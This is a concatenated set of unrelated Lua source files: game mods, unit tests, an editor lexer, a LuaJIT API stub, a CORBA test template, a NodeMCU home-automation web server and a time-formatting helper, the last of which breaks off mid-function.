--oT:run { 'testIfOneBranchFalse' }
--oT:run { 'testIfReturn' }
--oT:run { 'testIfFalseReturn' }
--oT:run { 'testLuaTOC' }
--oT:run { 'testLuaTOCWithLetS' }
--oT:run { 'testQuotedList' }
--oT:run { 'testSimpleArith' }
--oT:run { 'testIfBool' }
--oT:run { 'testBasicData' }
--oT:run { 'testDef' }
--oT:run { 'testLet2' }
--oT:run { 'testLetList' }
--oT:run { 'testKeyword' }
--oT:run { 'testQuote' }
--oT:run { 'testUnusedRetValsAndBuiltins' }
--oT:run { 'testPredicates1' }
--oT:run { 'testPrStrRdStr' }
--oT:run { 'testEval' }
--oT:run { 'testEQ' }
--oT:run { 'testFunctionDef' }
--oT:run { 'testTailIf' }
--oT:run { 'testConsConcat' }
--oT:run { 'testDefGlobal' }
--oT:run { 'testDotSyntax' }
--oT:run { 'testSideeffectIgnore' }
--oT:run { 'testValueEvaluation' }
--oT:run { 'testQuasiquote' }
--oT:run { 'testAt' }
--oT:run { 'testDefineFun' }
--oT:run { 'testWhenUnlessNot' }
--oT:run { 'testFor' }
--oT:run { 'testDoEach' }
--oT:run { 'testPredicates2' }
--oT:run { 'testDoLoop' }
--oT:run { 'testCompToLua' }
--oT:run { 'testBlock' }
--oT:run { 'testWriteReadCyclic' }
--oT:run { 'testDefineSyntax' }
--oT:run { 'testApply' }
--oT:run { 'testForEach' }
--oT:run { 'testAltStringQuote' }
-- TODO oT:run { 'testMacroUsesFunction' }
oT:run()
|
ngx.say("hellow world")
|
---@meta
--- **syntax:** *exdata = th_exdata(data?)*
---
--- This API allows for embedding user data into a thread (`lua_State`).
---
--- The retrieved `exdata` value on the Lua land is represented as a cdata object
--- of the ctype `void*`.
---
--- As of this version, retrieving the `exdata` (i.e. `th_exdata()` without any
--- argument) can be JIT compiled.
---
--- Usage:
---
--- ```lua
--- local th_exdata = require "thread.exdata"
---
--- th_exdata(0xdeadbeefLL) -- set the exdata of the current Lua thread
--- local exdata = th_exdata() -- fetch the exdata of the current Lua thread
--- ```
---
--- Also available are the following public C API functions for manipulating
--- `exdata` on the C land:
---
--- ```C
--- void lua_setexdata(lua_State *L, void *exdata);
--- void *lua_getexdata(lua_State *L);
--- ```
---
--- The `exdata` pointer is initialized to `NULL` when the main thread is created.
--- Any child Lua thread will inherit its parent's `exdata`, but still can override
--- it.
---
--- **Note:** This API will not be available if LuaJIT is compiled with
--- `-DLUAJIT_DISABLE_FFI`.
---
--- **Note bis:** This API is used internally by the OpenResty core, and it is
--- strongly discouraged to use it yourself in the context of OpenResty.
---@param data? any
---@return any? data
local function exdata(data) end
return exdata |
-- Copyright 2020-2021 Florian Fischer. See LICENSE.
-- Meson file LPeg lexer.
local lexer = require('lexer')
local token, word_match = lexer.token, lexer.word_match
local P, R, S = lpeg.P, lpeg.R, lpeg.S
local lex = lexer.new('meson', {fold_by_indentation = true})
-- Whitespace.
lex:add_rule('whitespace', token(lexer.WHITESPACE, lexer.space^1))
-- Keywords.
lex:add_rule('keyword', token(lexer.KEYWORD, word_match[[
and or not if elif else endif foreach break continue endforeach
]]))
-- Methods.
-- https://mesonbuild.com/Reference-manual.html#builtin-objects
-- https://mesonbuild.com/Reference-manual.html#returned-objects
local method_names = word_match[[
-- array --
contains get length
-- boolean --
to_int to_string
-- dictionary --
has_key get keys
-- disabler --
found
-- integer --
is_even is_odd
-- string --
contains endswith format join split startswith substring strip to_int to_lower
to_upper underscorify version_compare
-- meson object --
add_dist_script add_install_script add_postconf_script backend build_root
source_root project_build_root project_source_root current_build_dir
current_source_dir get_compiler get_cross_property get_external_property
can_run_host_binaries has_exe_wrapper install_dependency_manifest
is_cross_build is_subproject is_unity override_find_program
override_dependency project_version project_license project_name version
-- *_machine object --
cpu_family cpu system endian
-- compiler object --
alignment cmd_array compiles compute_int find_library first_supported_argument
first_supported_link_argument get_define get_id get_argument_syntax
get_linker_id get_supported_arguments get_supported_link_arguments
has_argument has_link_argument has_function check_header has_header
has_header_symbol has_member has_members has_multi_arguments
has_multi_link_arguments has_type links run symbols_have_underscore_prefix
sizeof version has_function_attribute get_supported_function_attributes
-- build target object --
extract_all_objects extract_objects full_path private_dir_include name
-- configuration data object --
get get_unquoted has keys merge_from set set10 set_quoted
-- custom target object --
full_path to_list
-- dependency object --
found name get_pkgconfig_variable get_configtool_variable type_name version
include_type as_system as_link_whole partial_dependency found
-- external program object --
found path full_path
-- environment object --
append prepend set
-- external library object --
found type_name partial_dependency enabled disabled auto
-- generator object --
process
-- subproject object --
found get_variable
-- run result object --
compiled returncode stderr stdout
]]
-- A method call must be followed by an opening parenthesis.
lex:add_rule('method', token('method', method_names * #(lexer.space^0 * '(')))
lex:add_style('method', lexer.styles['function'])
-- Function.
-- https://mesonbuild.com/Reference-manual.html#functions
local func_names = word_match[[
add_global_arguments add_global_link_arguments add_languages
add_project_arguments add_project_link_arguments add_test_setup alias_targ
assert benchmark both_libraries build_target configuration_data configure_file
custom_target declare_dependency dependency disabler error environment
executable find_library find_program files generator get_option get_variable
import include_directories install_data install_headers install_man
install_subdir is_disabler is_variable jar join_paths library message warning
summary project run_command run_targ set_variable shared_library shared_module
static_library subdir subdir_done subproject test vcs_tag
]]
-- A function call must be followed by an opening parenthesis.
-- The matching of function calls instead of just their names is needed to not
-- falsely highlight function names which can also be keyword arguments.
-- For example 'include_directories' can be a function call itself or a keyword
-- argument of an 'executable' or 'library' function call.
lex:add_rule('function', token(lexer.FUNCTION, func_names *
#(lexer.space^0 * '(')))
-- Builtin objects.
-- https://mesonbuild.com/Reference-manual.html#builtin-objects
lex:add_rule('object', token('object', word_match[[
meson build_machine host_machine target_machine
]]))
lex:add_style('object', lexer.styles.type)
-- Constants.
lex:add_rule('constant', token(lexer.CONSTANT, word_match('false true')))
-- Identifiers.
lex:add_rule('identifier', token(lexer.IDENTIFIER, lexer.word))
-- Strings.
local str = lexer.range("'", true)
local multiline_str = lexer.range("'''")
lex:add_rule('string', token(lexer.STRING, multiline_str + str))
-- Comments.
lex:add_rule('comment', token(lexer.COMMENT, lexer.to_eol('#', true)))
-- Numbers.
local dec = R('19')^1 * R('09')^0
local bin = '0b' * S('01')^1
local oct = '0o' * R('07')^1
local integer = S('+-')^-1 * (bin + lexer.hex_num + oct + dec)
lex:add_rule('number', token(lexer.NUMBER, integer))
-- Operators.
lex:add_rule('operator', token(lexer.OPERATOR, S('()[]{}-=+/%:.,?<>')))
return lex
|
-- No resource placement
for k,v in pairs(data.raw.resource) do
v.autoplace = nil
end
-- No spawners
for k,v in pairs(data.raw["unit-spawner"]) do
v.autoplace = nil
v.control = nil
end
-- No trees
for k,v in pairs(data.raw.tree) do
if k ~= 'temperate-garden' and k ~= 'desert-garden' and k ~= 'swamp-garden' and
k ~= 'temperate-tree' and k ~= 'desert-tree' and k ~= 'swamp-tree' and
k ~= 'puffer-nest' then
v.autoplace = nil
end
end
-- No rocks
for k,v in pairs(data.raw["simple-entity"]) do
v.autoplace = nil
end
local keepcontrols = {}
for _,v in pairs(data.raw) do
for _,v2 in pairs(v) do
if v2.autoplace and v2.autoplace.control then
keepcontrols[v2.autoplace.control] = true
end
end
end
local controls = data.raw['autoplace-control']
for k,v in pairs(controls) do
if k ~= "enemy-base" and not keepcontrols[k] then
controls[k] = nil
end
end
local presets = data.raw['map-gen-presets']['default']
for k,v in pairs(presets) do
-- Check for order as this is a manditory property for a MapGenPreset (so we skip type and name)
if k ~= 'default' and k ~= 'marathon' and v.order then
data.raw['map-gen-presets']['default'][k] = nil
end
end
|
--
package.path = "../?.lua;" .. package.path
require 'busted.runner'()
require 'init'
--
describe('Number Functions', function()
describe('_:clamp(num, min, max)', function()
it('should clamp `num` so it fits between `min` and `max` values', function()
assert.are.equals(_:clamp(-5, -1, 2), -1)
assert.are.equals(_:clamp(0, -1, 2), 0)
assert.are.equals(_:clamp(3, -1, 2), 2)
end)
end)
describe('_:down(name, n)', function()
it('should create new incrementor then decrement by `n`', function()
assert.has.errors(function() _:down('hp', 100) end)
assert.are.equals(_:i('hp', 100), 100)
assert.are.equals(_:i('mp', 100), 100)
assert.are.equals(_:down('hp', 10), 90)
assert.are.equals(_:down('hp', 25), 65)
assert.are.equals(_:down('hp', 85), -20)
assert.are.equals(_:down('mp', 50), 50)
assert.are.equals(_:down('hp', 10), -30)
end)
end)
describe('_:lerp(num, min, max)', function()
it('should linear interpolate `num` between `min` and `max` values', function()
assert.are.equals(_:lerp(0.3, 10, 20), 13)
assert.are.equals(_:lerp(0.75, 0, 100), 75)
end)
end)
describe('_:mapTo(num, minSource, maxSource, minDest, maxDest)', function()
it('should map `num` using one range `minSource/maxSource` to another range `minDest/maxDest`', function()
assert.are.equals(_:mapTo(0.5, 1, 2, 10, 20), 5)
assert.are.equals(_:mapTo(9, 0, 1, 0, 25), 225)
end)
end)
describe('_:norm(num, [min=0], [max=1])', function()
it('should linear interpolate `num` between `min` and `max` values', function()
assert.are.equals(_:norm(5, 0, 10), 0.5)
assert.are.equals(_:norm(5, 4, 8), 0.25)
assert.are.equals(_:norm(9, 4, 8), 1.25)
end)
end)
describe('_:up(name, n)', function()
it('should create new incrementor then increment by `n`', function()
assert.has.errors(function() _:up('sp', 0) end)
assert.are.equals(_:i('sp', 25), 25)
assert.are.equals(_:i('dp', 0), 0)
assert.are.equals(_:up('sp', 10), 35)
assert.are.equals(_:up('sp', 25), 60)
assert.are.equals(_:up('dp', 35), 35)
end)
end)
end) |
local pathlib = require("thetto.lib.path")
local util = require("notomo.plugin.thetto.util")
local M = {}
function M.collect(self, opts)
local to_relative = pathlib.relative_modifier(opts.cwd)
local path = self.opts.path
local relative_path = to_relative(path)
local items = {}
for _, call in pairs(self.opts.result or {}) do
local call_hierarchy = call["to"]
for _, range in pairs(call.fromRanges) do
local row = range.start.line + 1
local value = call_hierarchy.name
local path_with_row = ("%s:%d"):format(relative_path, row)
table.insert(items, {
path = path,
desc = ("%s %s()"):format(path_with_row, value),
value = value,
row = row,
range = util.range(range),
column_offsets = { value = #path_with_row + 1 },
})
end
end
return items
end
function M.highlight(self, bufnr, first_line, items)
local highlighter = self.highlights:create(bufnr)
for i, item in ipairs(items) do
highlighter:add("Comment", first_line + i - 1, 0, item.column_offsets.value)
end
end
M.kind_name = "file"
M.sorters = { "row" }
return M
|
local mod = DBM:NewMod("d287", "DBM-WorldEvents", 1)
local L = mod:GetLocalizedStrings()
mod:SetRevision("20190416205700")
mod:SetCreatureID(23872)
mod:SetModelID(21824)
mod:SetReCombatTime(10)
mod:SetZone()
mod:RegisterCombat("combat")
mod:RegisterEventsInCombat(
"SPELL_CAST_START 47310",
"SPELL_AURA_APPLIED 47376 47340 47442 51413",
"SPELL_AURA_REMOVED 47376 47340 47442 51413"
)
local warnDisarm = mod:NewCastAnnounce(47310, 2, nil, nil, "Melee")
local warnBarrel = mod:NewTargetAnnounce(51413, 4)
local specWarnBrew = mod:NewSpecialWarning("specWarnBrew", nil, nil, nil, 1, 7)
local specWarnBrewStun = mod:NewSpecialWarning("specWarnBrewStun")
local yellBarrel = mod:NewYell(47442, L.YellBarrel, "Tank")
local timerBarrel = mod:NewTargetTimer(8, 51413, nil, nil, nil, 3)
local timerBrew = mod:NewTargetTimer(10, 47376, nil, false, nil, 3)
local timerBrewStun = mod:NewTargetTimer(6, 47340, nil, false, nil, 3)
local timerDisarm = mod:NewCastTimer(4, 47310, nil, "Melee", 2, 2)
function mod:SPELL_CAST_START(args)
if args.spellId == 47310 then
warnDisarm:Show()
timerDisarm:Start()
end
end
function mod:SPELL_AURA_APPLIED(args)
local spellId = args.spellId
if spellId == 47376 then -- Brew
timerBrew:Start(args.destName)
if args:IsPlayer() then
specWarnBrew:Show()
specWarnBrew:Play("useitem")
end
elseif spellId == 47340 then -- Brew Stun
timerBrewStun:Start(args.destName)
if args:IsPlayer() then
specWarnBrewStun:Show()
end
elseif args:IsSpellID(47442, 51413) then -- Barreled!
warnBarrel:Show(args.destName)
timerBarrel:Start(args.destName)
if args:IsPlayer() then
yellBarrel:Yell()
end
end
end
function mod:SPELL_AURA_REMOVED(args)
if args.spellId == 47376 then -- Brew
timerBrew:Cancel(args.destName)
elseif args.spellId == 47340 then -- Brew Stun
timerBrewStun:Cancel(args.destName)
elseif args:IsSpellID(47442, 51413) then -- Barreled!
timerBarrel:Cancel(args.destName)
end
end
|
local uistartscreen =
{
Properties =
{
SkipStartScreen = { default = false },
StartScreenMusic = { default = "StartScreenMusicEvent", description = "Event to start start sceen music" },
EnableControlsEvent = { default = "EnableControlsEvent", description = "The event used to enable/disable the player controls." },
CutsceneEndedEvent = { default = "CutsceneHasStopped", description = "The event used to catch the end of the cutscene." },
PlayCutsceneEvent = { default = "StartCutscene", description = "The event used to start the cutscene." },
PressStartSndEvent = "",
},
}
function uistartscreen:OnActivate()
-- IMPORTANT: The 'canvas ID' is different to 'self.entityId'.
self.canvasEntityId = UiCanvasManagerBus.Broadcast.LoadCanvas("UI/Canvases/uiStartScreen.uicanvas");
--Debug.Log("uistartscreen:OnActivate - " .. tostring(self.canvasEntityId));
-- Listen for action strings broadcast by the canvas.
--self.uiCanvasNotificationLuaBusHandler = UiCanvasNotificationLuaBus.Connect(self, self.canvasEntityId);
self.anyButtonEventId = GameplayNotificationId(self.entityId, "AnyKey", "float");
self.anyButtonHandler = GameplayNotificationBus.Connect(self, self.anyButtonEventId);
self.endScreenEventId = GameplayNotificationId(self.entityId, self.Properties.CutsceneEndedEvent, "float");
self.endScreenHandler = GameplayNotificationBus.Connect(self, self.endScreenEventId);
-- Display the mouse cursor.
LyShineLua.ShowMouseCursor(true);
self.tickHandler = TickBus.Connect(self);
self.ignoredFirst = false;
self.gameStarted = false;
self.cutsceneStarted = false;
end
function uistartscreen:OnDeactivate()
--self.uiCanvasNotificationLuaBusHandler:Disconnect();
--self.uiCanvasNotificationLuaBusHandler = nil;
if (self.anyButtonHandler) then
self.anyButtonHandler:Disconnect();
self.anyButtonHandler = nil;
end
if (self.endScreenHandler) then
self.endScreenHandler:Disconnect();
self.endScreenHandler = nil;
end
end
function uistartscreen:OnTick(deltaTime, timePoint)
-- The camera manager uses the 'OnTick()' call to set the initial camera (so all cameras
-- can be set up in the 'OnActivate()' call. This means that we need to ignore the first
-- tick otherwise we'll be competing with the camera manager.
if (self.ignoredFirst == false) then
self.ignoredFirst = true;
return;
end
--Debug.Log("GameStarted: " .. tostring(StarterGameUtility.IsGameStarted()));
if((not self.gameStarted) and StarterGameUtility.IsGameStarted()) then
self.gameStarted = true;
-- fade from black
end
if (self.tickHandler ~= nil) then
-- Disable the player controls so that they can be re-enabled once the player has started.
--Debug.Log("uistartscreen:OnTick - disable controls");
self:SetControls("PlayerCharacter", self.Properties.EnableControlsEvent, 0);
self:SetControls("PlayerCamera", self.Properties.EnableControlsEvent, 0);
-- Disable the tick bus because we don't care about updating anymore.
self.tickHandler:Disconnect();
self.tickHandler = nil;
end
AudioTriggerComponentRequestBus.Event.ExecuteTrigger(self.entityId, self.Properties.StartScreenMusic);
-- Check if we should skip the start screen.
if (self.Properties.SkipStartScreen == true) then
--Debug.Log("skipping start screen");
UiCanvasManagerBus.Broadcast.UnloadCanvas(self.canvasEntityId);
self:OnAction(self.entityId, "StartGame");
self.cutsceneStarted = true;
end
end
function uistartscreen:SetControls(tag, event, enabled)
local entity = TagGlobalRequestBus.Event.RequestTaggedEntities(Crc32(tag));
local controlsEventId = GameplayNotificationId(entity, event, "float");
GameplayNotificationBus.Event.OnEventBegin(controlsEventId, enabled); -- 0.0 to disable
end
function uistartscreen:OnAction(entityId, actionName)
if (actionName == "StartGame") then
--Debug.Log("Starting the game...");
-- Jump to the player camera.
-- TODO: Expose the destination camera as a property?
local camMan = TagGlobalRequestBus.Event.RequestTaggedEntities(Crc32("CameraManager"));
local playerCam = TagGlobalRequestBus.Event.RequestTaggedEntities(Crc32("PlayerCamera"));
local camEventId = GameplayNotificationId(camMan, "ActivateCameraEvent", "float");
GameplayNotificationBus.Event.OnEventBegin(camEventId, playerCam);
-- Enable the player controls.
self:SetControls("PlayerCharacter", self.Properties.EnableControlsEvent, 1);
self:SetControls("PlayerCamera", self.Properties.EnableControlsEvent, 1);
if (self.tickHandler ~= nil) then
self.tickHandler:Disconnect();
self.tickHandler = nil;
end
end
end
function uistartscreen:OnEventBegin(value)
--Debug.Log("Recieved message - uistartscreen");
if (GameplayNotificationBus.GetCurrentBusId() == self.anyButtonEventId) then
if(self.cutsceneStarted == false) then
local cutsceneEventId = GameplayNotificationId(self.entityId, self.Properties.PlayCutsceneEvent, "float");
GameplayNotificationBus.Event.OnEventBegin(cutsceneEventId, 1);
self.cutsceneStarted = true;
-- Hide the mouse cursor.
LyShineLua.ShowMouseCursor(false);
self.anyButtonHandler:Disconnect();
self.anyButtonHandler = nil;
-- Audio
AudioTriggerComponentRequestBus.Event.ExecuteTrigger(self.entityId, self.Properties.PressStartSndEvent);
-- Remove the U.I.
--Debug.Log("uistartscreen:OnAction - remove screen " .. tostring(self.canvasEntityId));
UiCanvasManagerBus.Broadcast.UnloadCanvas(self.canvasEntityId);
end
end
if (GameplayNotificationBus.GetCurrentBusId() == self.endScreenEventId) then
self:OnAction(self.entityId, "StartGame");
end
end
return uistartscreen;
|
--[[Check https://github.com/mtsmtsmts/Iot-home-controlfanlight]]--
thermo_Server = net.createServer(net.TCP) --Create TCP server
if thermo_Server then
thermo_Server:listen(8099, function(conn) --Listen to the port
dataParse(conn)
end)
end
function dataParse(conn) --Process callback on receive data from client
local substr
local cmdStr
local cmd, equip
local cmdString = {"webrequest","ceilingfan","counterlight","restart"} --array of equipment id words sent within HTTP GET call
conn:on("receive", function(sck8099, data)
print("DATA",data)
if data ~=nil then
parseData, dataStr = findData(data) --parse data sent
cmd, equip = findCommand(parseData, cmdString)--find command and equipment id
if dataStr ~=nil and dataStr ~= " " and equip ~=nil then --if data did not contained a matching equipment id
if string.find(dataStr,'favicon.ico') then --Acting as filter --print("This is the favicon return! don't use it "..substr)
else
print("dataStr",dataStr)
if string.find(dataStr,cmdString[1]) then --webrequest:%20counter%20light%20on
if string.find(equip,cmdString[2]) then --'ceilingfan'
if cmd~=nil then
CeilingFan(cmd) --on
end
elseif string.find(equip, cmdString[3]) then --'counterlight'
if cmd~=nil then
CounterLight(cmd) --on
local UserSetTime = rtctime.epoch2cal(rtctime.get())--global for state of manual operation
local hour=UserSetTime["hour"]
if hour<8 then hour=hour+16 else hour=hour-8 end --correct for UTC-8 for pst
UserSetTime = (hour)*100 + UserSetTime["min"]
user_SetTime = UserSetTime --set global var, global used in setschedule()
end
end
elseif string.find(dataStr,cmdString[4]) then--restart, set webIDE flag to true, mcu restarts and loads webIDE
sck8099:on("sent", function(conn) conn:close() end)
sck8099:close()
file.open("restart.lua","w+")
file.write(1)
file.close("restart.lua")
node.restart()
end
end
end
end
--sck8076:send("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n".."Detected: "..substr) --This is a simple web page response to be able to test it from any web browser
sck8099:on("sent", function(conn) conn:close() end)
end)
end
function findData(data)--GET /webrequest:%20the%20counter%20light%20on HTTP/1.1
local substr=string.sub(data,string.find(data,"GET /")+5,string.find(data,"HTTP/")-1) --Filter out GET and HTTP "webrequest:%20the%20counter%20light%20on"
substr=string.lower(substr) --Set the string lower case to check it against
print(" ")
print("SUBSTR",substr)
local substr2 = substr
if substr ~=nil and substr ~=" " then --if there was data between GET and HTTP
if string.find(substr,":") then
print(substr)
substr=string.sub(substr,string.find(substr,":")+1) --Keep only the text part after the colon "%20the%20counter%20light%20on"
print(substr)
substr=string.gsub(substr,'%W+%d+',"") --remove non alpha chars "thecounterlighton" [IFTTT or GA likes to pass 'the' even though it is explicitly stated in IFTTT]
print(substr)
substr=string.gsub(substr,'(the)',"") --remove 'the' = "counterlighton"
print(substr)
substr=string.gsub(substr,"%s+","") --remove possible spaces
print(substr)
end
end
return substr, substr2 --returns nil if no data between GT and HTTP
end
function findCommand(str, array) --sent "ceilingfanon"
local arrlen=StrLen(array)
local n = 1
local substr1, substr2
print("arrlen",arrlen)
while n <= arrlen do
if string.find(str,array[n]) then --compare to equip id "ceilingfanon"
local strlen = string.len(array[n])
print("strlen",strlen)
substr1=string.sub(str,string.find(str,array[n])+strlen) --remove the equipment id leaving command "on"
print("SUBSTR1 cmd",substr1)
substr2=string.sub(str,0,string.find(str,array[n])+strlen-1)--remove command "ceilingfan"
print(substr2)
n=strlen --break for loop
end
n=n+1
end
return substr1, substr2 --if not found returns nil
end
function SetTime() --nodemcu documents for NTP time
sntp.sync({ "0.ca.pool.ntp.org", "1.ca.pool.ntp.org", "2.ca.pool.ntp.org", "3.ca.pool.ntp.org" },
function(sec, usec, server, info)
print(" ")
print('sync', sec, usec, server)
tm = rtctime.epoch2cal(rtctime.get())
print(string.format("%04d/%02d/%02d %02d:%02d:%02d", tm["year"], tm["mon"], tm["day"], tm["hour"], tm["min"], tm["sec"]))
print("synch time done")
print(" ")
end,
function()
print(" ")
print("synch time failed!")
print(" ")
print(" ")
end,
1)
Blink(150,0)
end
SetTime()
print ("Server code started")
|
--htmlEntities = require('htmlEntities')
htmlEntities = require('src/htmlEntities')
test = require('tests/test')
print('\n\nInit test htmlEntities')
local text = [[&XAMPLE text
<≡≡≡≡≡≡≡≡≡≡>]]
for k,v in pairs(htmlEntities) do
if v and type(v) == 'string' then -- Print Info
print(k .. ': ' .. v)
end
end
local dec = htmlEntities.decode(text)
print('\nInput: ' .. text .. '\n\nOutput: ' .. dec)
function type_test()
if arg[1] then
if arg[1] == 'd' then
return test.test_decode()
elseif arg[1] == 'e' then
return test.test_encode()
elseif arg[1] == 's' then
return test.test_speed()
elseif arg[1] == 'a' then
return test.test_ascii()
end
else
repeat
io.write('\n d = Decode e = Encode s = SpeedTest a = ASCII_Decode\n > ')
io.flush()
res = io.read()
res = string.lower(res)
until res == 'd' or res == 'e' or res == 's' or res == 'a'
end
-- Res
if res == 'd' then
test.test_decode()
elseif res == 'e' then
test.test_encode()
elseif res == 's' then
test.test_speed()
elseif res == 'a' then
test.test_ascii()
end
end
if arg[1] then
type_test()
else
repeat
io.write('\nYou want to do a test (y/n) ')
io.flush()
res = io.read()
res = string.lower(res)
until res == 'y' or res == 'n'
if res == 'y' then type_test() end
end
|
-- Start OnLoad/OnInit/OnConfig events
script.on_configuration_changed( function(data)
if data.mod_changes ~= nil and data.mod_changes["NightReVision"] ~= nil and data.mod_changes["NightReVision"].old_version == nil then
-- Mod added
for _, player in pairs(game.players) do
if (global.NightReVision_toggle[player.index] == nil) then
global.NightReVision_toggle[player.index] = {state=true}
end
end
end
if data.mod_changes ~= nil and data.mod_changes["NightReVision"] ~= nil and data.mod_changes["NightReVision"].old_version ~= nil then
-- Mod updated or removed
-- Nothing to do
end
end)
script.on_init(function()
global.NightReVision_toggle = global.NightReVision_toggle or {}
global.NightReVision_NVlist = {}
global.NightReVision_NVlistmade = 0
end)
script.on_load(function()
--Nothing to Do Now
end)
-- End OnLoad/OnInit/OnConfig events
function on_player_created(event)
global.NightReVision_toggle[event.player_index] = {state=true}
end
script.on_event(defines.events.on_player_created, on_player_created)
function on_hotkey(event)
if (global.NightReVision_NVlistmade == 0) then
global.NightReVision_NVlist = {}
for eqi, eq in pairs(game.equipment_prototypes) do
if(eq.type == "night-vision-equipment") then
if(string.sub(eq.name, -4) ~= "-off") then
global.NightReVision_NVlist[eq.name] = {eqname = eq.name}
end
end
end
end
local player_index = event.player_index
local player = game.players[player_index]
local parmor = player.get_inventory(defines.inventory.player_armor)[1]
if (parmor.valid_for_read and parmor.grid) then
local peg = parmor.grid
--If on toggle off
if global.NightReVision_toggle[player_index].state then
for _, nvl in pairs (global.NightReVision_NVlist) do
local lf = nvl.eqname
for _, eq in pairs(peg.equipment) do
if (eq.name == lf) then
--Make all NV into NVoff
local penergy = eq.energy
local ppos = eq.position
local discard = peg.take{position=ppos}
discard=nil
peg.put{name=lf.."-off",position=ppos}
peg.get(ppos).energy = penergy
end
end
end
global.NightReVision_toggle[player_index].state = false
player.print({"NightReVision_toggle_off"})
--If off toggle on
else
for _, nvl in pairs (global.NightReVision_NVlist) do
local lf = nvl.eqname
for _, eq in pairs(peg.equipment) do
if (eq.name == lf.."-off") then
--Make all NVoff into NV
local penergy = eq.energy
local ppos = eq.position
local discard = peg.take{position=ppos}
discard=nil
peg.put{name=lf,position=ppos}
peg.get(ppos).energy = penergy
end
end
end
global.NightReVision_toggle[player_index].state = true
player.print({"NightReVision_toggle_on"})
end
end
end
script.on_event("NightReVision_hotkey", on_hotkey)
|
local au = require('_.utils.au')
au.augroup('__MyCustomColors__', function()
au.autocmd(
'BufWinEnter,BufEnter',
'*',
[[lua require'_.autocmds'.highlight_git_markers()]]
)
end)
-- Order is important, so any autocmds above works properly
vim.opt.background = 'dark'
vim.cmd([[silent! colorscheme aylin]])
|
Character = Object:extend()
local function getUUID()
local alphanumeric = jLib.getAlphaNumeric()
local uuidTable = {}
local uuid = ""
--UUID TEMPLATE: xxxxxx-xxxx-xxxxxx
for i = 1, 16, 1 do uuidTable[i] = alphanumeric[math.random(1, #alphanumeric)] end
for i = 1, 6, 1 do uuid = uuid .. uuidTable[i] end
uuid = uuid .. "-"
for i = 6, 10, 1 do uuid = uuid .. uuidTable[i] end
uuid = uuid .. "-"
for i = 10, 16, 1 do uuid = uuid .. uuidTable[i] end
return uuid
end
function Character:new(color, name, scale, x, y, rot, chat, uuid)
self.x = x or 0
self.y = y or 0
self.rot = rot or 0
self.color = color or jLib.color.white
self.name = name or "Player" .. tostring(math.random(0,1000))
self.scale = scale or 1
self.chat = chat or ""
self.uuid = uuid or getUUID()
self.size = 50
self.canvas = love.graphics.newCanvas(self.size * self.scale * 2, self.size * self.scale * 2)
self.velocity = {}
self.velocity.current = 0
self.velocity.drag = 3
--Accessibly stored variables, might want to be changed on interaction with things
self.speed = {}
self.speed.rotation = 5
self.speed.forward = 10
self.speed.max = 25
end
function Character:draw()
local size = self.size * self.scale
love.graphics.setCanvas(self.canvas)
love.graphics.setColor(self.color)
love.graphics.circle("fill", size, size, size)
love.graphics.setScissor(0, 0, size, size)
love.graphics.rectangle("fill", 0, 0, size * 2, size * 2, size / (3 + (1/3)), size / (3 + (1/3)), size / 2)
love.graphics.setScissor()
love.graphics.setCanvas()
love.graphics.draw(self.canvas, self.x, self.y, self.rot, 1, 1, size, size)
end
function Character:update(dt)
local sin, cos = math.sin(self.rot + (math.pi * -.75)), math.cos(self.rot + (math.pi * -.75))
--Add forward/backwards velocity
if controls.forward.isPressed then self.velocity.current = math.min(self.velocity.current + self.speed.forward * dt, self.speed.max)
elseif controls.backwards.isPressed then self.velocity.current = math.max(self.velocity.current - self.speed.forward * dt, -self.speed.max)
end
--Move in that direction
self.x = self.x + cos * self.velocity.current
self.y = self.y + sin * self.velocity.current
--Rotate
if controls.left.isPressed then self.rot = self.rot + self.speed.rotation * dt
elseif controls.right.isPressed then self.rot = self.rot - self.speed.rotation * dt
end
--Slow down velocity over time (trend towards zero)
if self.velocity.current > 0 then self.velocity.current = math.max(self.velocity.current - self.velocity.drag * dt, 0)
elseif self.velocity.current < 0 then self.velocity.current = math.min(self.velocity.current + self.velocity.drag * dt, 0)
end
end |
require 'busted.runner'()
describe("animations", function()
local animations
setup(function()
_G.util = {by_pixel = function(x, y) return 1 end}
animations = require("prototypes.animations")
end)
teardown(function()
animations = nil
end)
describe("removeAnimationAndLight", function()
it("sets animation and zeroes light", function()
local lab = {
type = "lab",
name = "lab",
valid = true,
on_animation = {"on_animation"},
off_animation = {"off_animation"},
light = {intensity = 10, size = 8, color = {r = 1, g = 1, b = 1}},
unit_number = 0,
force = force0,
}
animations.removeAnimationAndLight(lab)
assert.same(lab.on_animation, lab.off_animation)
assert.equal(0, lab.light.intensity)
assert.equal(0, lab.light.size)
assert.equal(0, lab.light.color.r)
assert.equal(0, lab.light.color.g)
assert.equal(0, lab.light.color.b)
end)
end)
end) |
local Template = require "oil.dtests.Template"
local template = Template{"Client"} -- master process name
Server = [=====================================================================[
checker = {}
function checker:isSelf(obj)
return self == obj
end
orb = oil.dtests.init{ port = 2809 }
if oil.dtests.flavor.corba then
checker.__type =
orb:loadidl[[interface Checker { boolean isSelf(in Object obj); };]]
end
orb:newservant(checker, "checker")
orb:run()
--[Server]=====================================================================]
Client = [=====================================================================[
orb = oil.dtests.init()
checker = oil.dtests.resolve("Server", 2809, "checker")
assert(checker:isSelf(checker))
orb:shutdown()
--[Client]=====================================================================]
return template:newsuite{ corba = true }
|
--MAXIME
function now()
local timePassed = math.floor((getRealTime().timestamp))
return timePassed
end
function formatTimeInterval( timeInseconds )
if type( timeInseconds ) ~= "number" then
return timeInseconds, 0
end
local seconds = now()-timeInseconds
if seconds < 1 then
return "Just now", 0
end
if seconds < 60 then
return formatTimeString( seconds, "second" ).." ago", seconds
end
local minutes = math.floor( seconds / 60 )
if minutes < 60 then
return formatTimeString( minutes, "m" ) .. " " .. formatTimeString( seconds - minutes * 60, "s" ).." ago" , seconds
end
local hours = math.floor( minutes / 60 )
if hours < 48 then
return formatTimeString( hours, "h" ) .. " " .. formatTimeString( minutes - hours * 60, "m" ).." ago", seconds
end
local days = math.floor( hours / 24 )
return formatTimeString( days, "day" ).." ago", seconds
end
function formatFutureTimeInterval( timeInseconds )
if type( timeInseconds ) ~= "number" then
return timeInseconds, 0
end
local seconds = timeInseconds-now()
if seconds < 0 then
return "0s", 0
end
if seconds < 60 then
return formatTimeString( seconds, "second" ), seconds
end
local minutes = math.floor( seconds / 60 )
if minutes < 60 then
return formatTimeString( minutes, "m" ) .. " " .. formatTimeString( seconds - minutes * 60, "s" ), seconds
end
local hours = math.floor( minutes / 60 )
if hours < 48 then
